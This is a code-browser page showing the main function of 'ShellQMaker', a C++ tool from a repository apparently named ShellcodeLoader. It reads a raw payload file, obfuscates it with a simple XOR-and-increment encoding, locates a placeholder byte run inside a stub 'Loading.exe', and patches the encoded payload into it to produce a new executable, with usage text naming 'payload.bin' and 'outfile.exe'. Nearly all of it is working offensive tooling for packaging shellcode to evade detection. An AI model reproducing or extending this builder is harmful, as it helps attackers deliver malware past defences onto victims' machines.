MCPcopy Create free account
hub / github.com/SecurityAnalysts01/ShellcodeLoader / main

Function main

ShellQMaker/ShellQMaker/ShellQMaker.cpp:11–73  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

9
10
11int main(int argc, char* argv[], char* envp[])
12{
13 wxPrintf(" _________.__ .__ .__ ________ _____ __ \r\n");
14 wxPrintf(" / _____/| |__ ____ | | | | \\_____ \\ / \\ _____ | | __ ___________ \r\n");
15 wxPrintf(" \\_____ \\ | | \\_/ __ \\| | | | / / \\ \\ / \\ / \\__ \\ | |/ // __ \\_ __ \\ \r\n");
16 wxPrintf(" / \\| Y \\ ___/| |_| |__/ \\_/. \\/ Y \\/ __ \\| <\\ ___/| | \\/ \r\n");
17 wxPrintf("/_______ /|___| /\\___ >____/____/\\_____\\ \\_/\\____|__ (____ /__|_ \\___ >__ | \r\n");
18 wxPrintf(" \\/ \\/ \\/ \\__> \\/ \\/ \\/ \\/ \r\n");
19 wxPrintf("\n");
20 wxPrintf(" ShellQMaker v1.0 | 2023\n\n");
21
22 if (argc == 3)
23 {
24
25 FILEINFO shellcode = OpenfileA(argv[1]);
26 for (int i = 0; i < shellcode.size; i++)
27 {
28 shellcode.pbufr[i] = (shellcode.pbufr[i] ^ (i + 1)) + 1;
29 }
30
31 char loadername[] = "Loading.exe";
32 FILEINFO Shellload = OpenfileA(loadername);
33 //»ñÈ¡LoadingÖÐshellcodeµÄµØÖ·
34 //char Shellload[]={ 0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,};
35 int cnt = 0, offset = 0, num = 0;
36 while (TRUE)
37 {
38 if (Shellload.pbufr[cnt] == 0x41)
39 {
40 offset = cnt;
41 while (Shellload.pbufr[cnt] == 0x41)
42 {
43 cnt++;
44 num++;
45 if (num > 0x42)
46 {
47 break;
48 }
49 }
50 }
51 if (num > 0x42)
52 {
53 break;
54 }
55 cnt++;
56 num = 0, offset = 0;
57 }
58 MMcpy(&(Shellload.pbufr[offset]), &(shellcode.size), sizeof(DWORD));
59 MMcpy(&(Shellload.pbufr[offset + sizeof(DWORD)]), shellcode.pbufr, shellcode.size);
60 Writetofile(Shellload.pbufr, Shellload.size, argv[2]);
61 wxPrintf("\r\n[+] Out ShellFile----->%s\r\n", argv[2]);
62
63 }
64 else
65 {
66
67 wxPrintf("[+] usage:\r\n");
68 wxPrintf("[+] ShellQMaker.exe \"payload.bin\" \"outfile.exe\" \r\n");

Callers 1

OnInitMethod · 0.70

Calls 3

OpenfileAFunction · 0.85
WritetofileFunction · 0.85
MMcpyFunction · 0.70

Tested by

no test coverage detected